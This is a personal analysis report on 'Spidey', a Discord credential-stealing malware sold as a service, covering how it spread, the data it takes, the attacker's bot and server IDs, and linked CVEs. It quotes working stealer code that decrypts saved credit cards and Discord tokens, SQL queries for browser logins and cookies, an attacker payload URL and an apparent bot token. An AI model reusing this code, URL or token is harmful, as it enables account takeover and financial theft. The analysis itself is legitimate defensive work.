13 KiB
Spidey Malware
Context
Spidey is a Malware-as-a-service type of virus, coded by an unknown source. This virus sold to other threat actors, encoded (beforehand?) and compacted in an ElectronJS app. At the time of deployment the .exe was not detected on Virus total.
Encounter
This piece of malware was encountered in the wild via a third party who got infected and tried to send me the link via message. The third party promptly realised something was afoot, tried to re-log upon having been disconnected and realised a 2FA had been set and they were now locked outside their account. Another third party then got infected in turn, and promptly got notified of a couple of payments for two Discord nitro gift cards and realised their discord had been compromised through similar means.
Behaviour
During the whole process the attacker interacted via Discord messages with other victims through a simple social enginering attack. When caught and publicly outed on a server he then promptly tried to convince other victims he was the real owner of the account, and not in fact a hacker.
This behaviour is very unlikely to be from a threat actor and most likely a sk trying to get some kicks out of the situation. However, interacting on a small community through a well known user, he was very promptly caught and kicked.
Malware Info
During the analysis of the virus, a couple of strings caught my attention and are relevant to the per-instance deployment the threat.
These informations are set at creation, and link to a discord bot and a server payload. This payload could not be retreived after the fact and therefore remains a mistery.
Information stolen:
- All discord information
- All discord contact informations
- Discord token (allowing connection and impersonation)
- Computer Username
- Computer Hostname
- Public IP Address
- If existing:
- Exodus wallet as a zip
- APP_DATA + '\FileZilla\filezilla.xml'
- APP_DATA + '\MobaXterm\MobaXterm.xml'
- All Session in winscp2
- All files in Downloads, Documents and Desktop containing
discord_backup_codes - If the account password is compromised:
origin_url, username_value, password_value FROM loginshost_key, name, encrypted_value FROM cookiescard_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards
- All sent in a neatly packed
- '\Passwords.txt'
- '\Cookies.txt'
- '\Credit Cards.txt'
- '\Exodus Wallet.zip'
- '\WinSCP.txt'
Data Persistence
A data persistence is setup in the following locations, archiving the compromised discord install
path + '\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa'+ '\\Phantom_' + discord_install_name + '.zip'path + '\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn' + '\\Metamask_' + discord_install_name + '.zip');
Information on the payload
A payload loaded only at runtime. This payload could not be retreived for analysis.
Information gathered on the attacker
Client Info
- Client ID:
- ID: 968179769235603526
- The client id the bot will report to. Presumably now inactive.
- Created: Mon, 25 Apr 2022 16:00:44 UTC
Bot
The webhook of the discord bot, still active at the time of writing this report.
-
Bot info:
- type: 1
- id: "984924488405753896"
- name: "Spidey Bot"
- avatar: null
- application_id: null
- token: "3jbjvpvICepQHbqeWzCaHeRg31j_lVgJAGZmjMk9HekCjcHcaCLaN2ItzOeuh4NBx6f-"
Server info
- channel_id: "984923350478516284"
- Server channel to connect the bot to, wich will serve as a C&C.
- Created: Fri, 10 Jun 2022 20:53:45 UTC
- guild_id: "984923276302233611"
- Server hosting the bot and channel.
- Created: Fri, 10 Jun 2022 20:53:28 UTC
Security assessment
Credentials Extra
Through the exploitation of various windows vulnerabilities and piss-poor security implementations, many other services are also targeted. If the victim is using any of these four applications, the virus will find it and leverage it to gain full control over their computer.
- WinSCP.net
- WinSCP is prone to a vulnerability that lets an attacker upload arbitrary files to the victim's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.
- Mainly non encrypted config files in
'HKCU\\SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions' - 2007-09-13 WinSCP 4.0.3 - URL Protocol Handler Arbitrary File Access
- https://www.securityfocus.com/bid/25655/info
- MobaXterm
- Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using directory traversal attacks e.g. ../../../../Windows/system.ini
- MobaXterm Personal Edition 9.4 - Directory Traversal
- http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt
- CVE-2017-6805
- Filezilla
- Credentials stored in an xml file (very bad practice)
- https://www.exploit-db.com/exploits/37729 (very scary looking exploit)
- 2015-08-07 FileZilla Client 2.2.x - Remote Buffer Overflow (SEH) Remote Windows ly0n
- 2015-06-15 FileZilla 3.11.0.2 SFTP Module - Denial of Service
- \Exodus\exodus.wallet
- RCE means the threat actor has taken over the hosts computer.
- RCE : 2018-03-29 Exodus Wallet (ElectronJS Framework) - Remote Code Execution (Metasploit) Metasploit
- https://www.exploit-db.com/exploits/44357
WinDPAPI
The official windows credential manager is scanned leveraging the discord install, looking for the following:
SELECT origin_url, username_value, password_value FROM loginsSELECT host_key, name, encrypted_value FROM cookiesSELECT card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards
However unless the windows master key is exposed (through one of the above exploits), the only vector of exploitation is password reuse or a trivial enough password.
async function get_credit_card_info() {
...
for (let i = (0); i < LIST_DISCORD_PATHS['length']; i++) {
if (discord_path['includes']('cord')) continue;
if (req_fs['existsSync'](discord_path + 'Web Data')) {
...
let buffer_json_key = Buffer['from'](JSON['parse'](req_fs['readFileSync'](fixed_path + 'Local State'))['os_crypt']['encrypted_key'], 'base64')['slice'](5);
...
let buffer_unprotected = req_win_dpapi['unprotectData'](Buffer['from'](buffer_json_key, 'utf-8'), null, 'CurrentUser');
write_stream['write']('
CREDIT CARDS FROM: ' + discord_path + ' #EPSILON
');
buffer_json_key = req_sqlite(tmp_web_data);
let request_sql = buffer_json_key['prepare']('SELECT card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards')['all']();
if (request_sql != undefined) {
for (var element_sql of request_sql) {
if (element_sql['card_number_encrypted'] != '') {
let card_encryption = element_sql['card_number_encrypted'];
try {
if ((card_encryption[(0)] == (1)) && (card_encryption[(1)] == (0)) && (card_encryption[(2)] == (0)) && (card_encryption[(3)] == (0))) {
write_stream['write']('===========================================================================
Name On Card: ' + element_sql['name_on_card'] + '
Credit Card Number: ' + req_win_dpapi['unprotectData'](card_encryption, null, 'CurrentUser')['toString']('utf-8') + '
Expiration Date: ' + element_sql['expiration_month'] + '/' + element_sql['expiration_year'] + '
===========================================================================
');
} else {
let card_encription_formated = card_encryption['slice'](3, 15);
let card_aes_dec = card_encryption['slice'](15, card_encryption['length'] - 1);
let card_aes_auth = card_encryption['slice'](card_encryption['length'] - 1, card_encryption['length']);
let aes_decipher = req_crypto['createDecipheriv']('aes-256-gcm', buffer_unprotected, card_encription_formated);
aes_decipher['setAuthTag'](card_aes_auth);
write_stream['write']('===========================================================================
Name On Card: ' + element_sql['name_on_card'] + '
Credit Card Number: ' + aes_decipher['update'](card_aes_dec, 'base64', 'utf-8') + aes_decipher['final']('utf-8') + '
Expiration Date: ' + element_sql['expiration_month'] + '/' + element_sql['expiration_year'] + '
===========================================================================
');
}}}}}}}}}
If an actual password cracking exists it is very likely in the payload : https://everlasting-swanky-comma.glitch.me/tiktoked.js or the encrypted m0Xe function. Any additional input on this part would be very welcome.
Sources:
- https://en.wikipedia.org/wiki/Data_Protection_API
- https://github.com/abdulkadir-gungor/DPAPI/tree/main/Browser_Stealer
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
Discord security
Method of operation
Discord stores the user token in a aes256-encripted file, however the encription is pseudo-trivial and can be found in the config files (see next section). By decoding the token the virus gains full access to the discord account, letting the threat actor impersonate the victim, spreading further the malware.
All virus API is deeply tied to Discord bots, letting the virus user have a very modern and pleasant experience. Receiving messages through a discord channel in a neat and tidy way.
Through the use of the Discord api the attacker is able to narrow down its victims by name, discord server, number of friends, nitro abonnement and badges (embassador, hypesquad, early adopter, developper, staff etc...) to avoid anyone connected with a moderator or a developper and focusing on nitro users (or any criteria of his choosing).
AES-256 Featuring Rick Astley
The AES implementation of the token encryption is ... subpar. Leading to a trivial-ish decription and an near-instant exploitation.
- The script is looking for this regex in the .log files
'dQw4w9WgXcQ:[^.*\\['(.*)'\\].*$][^\\"]*'and using it to extract the aes256 key.
(list_of_files['endsWith']('.log') || list_of_files['endsWith']('.ldb')) && req_fs['readFileSync'](base_path + '\\' + list_of_files, 'utf8')['split'](/\r?\n/)['forEach'](new_line => {
const rickrolled = [new RegExp('dQw4w9WgXcQ:[^.*\\['(.*)'\\].*$][^\\"]*')];
for (const rick of rickrolled) {
const yes_rick = new_line['match'](rick);
if (yes_rick) {
yes_rick['forEach'](mini_rick => {
let auth_tag = Buffer['from'](mini_rick['split']('dQw4w9WgXcQ:')[(1)], 'base64');
let main_key = auth_tag['slice'](3, 15);
let base_64_id = auth_tag['slice'](15, auth_tag['length'] - 1);
let c_tag = auth_tag['slice'](auth_tag['length'] - 1, auth_tag['length']);
let decypher_id = req_crypto['createDecipheriv']('aes-256-gcm', decrypt_method, main_key);
decypher_id['setAuthTag'](c_tag);
let decypher = decypher_id['update'](base_64_id, 'base64', 'utf-8') + decypher_id['final']('utf-8');
result['push'](decypher);
});
}
}
});
Afterthoughs
Who or what is Epsilon ?
The Name Epsilon is often reused in the source code (e.g COOKIES FROM: ' + ⵂⵐⵊⵔ + ' #EPSILON). This could be the internal name of this particular implementation of the malware, the hacker's nickname, or of course, be totally unrelated.
The usage of Discord Nitro gift cards
In the very first minutes of the exploit, one of the victims realised his paypal subscription was used to buy discord nitro subscriptions. This part is probably to setup a discord nitro scam but could just be a trolling attempt or just sheer enjoyment of a newly acquired tool. As of my knowledge discord cancelled the payment and refunded the gift cards, but there may be were instances where the cards were not refunded.
The credit card stealing mistery
In theory it remains impossible to simply guess the Windows DPAPI master key, though it is possible to scan entries hoping for an unsecured password somewhere. However during my code examination I coulndt find any sign of external password guess, leading to a (possibly) undisclosed bad implementation of WinDPAPI from Discord, or simply a more nefarious password cracker in the payload (tiktoked.js).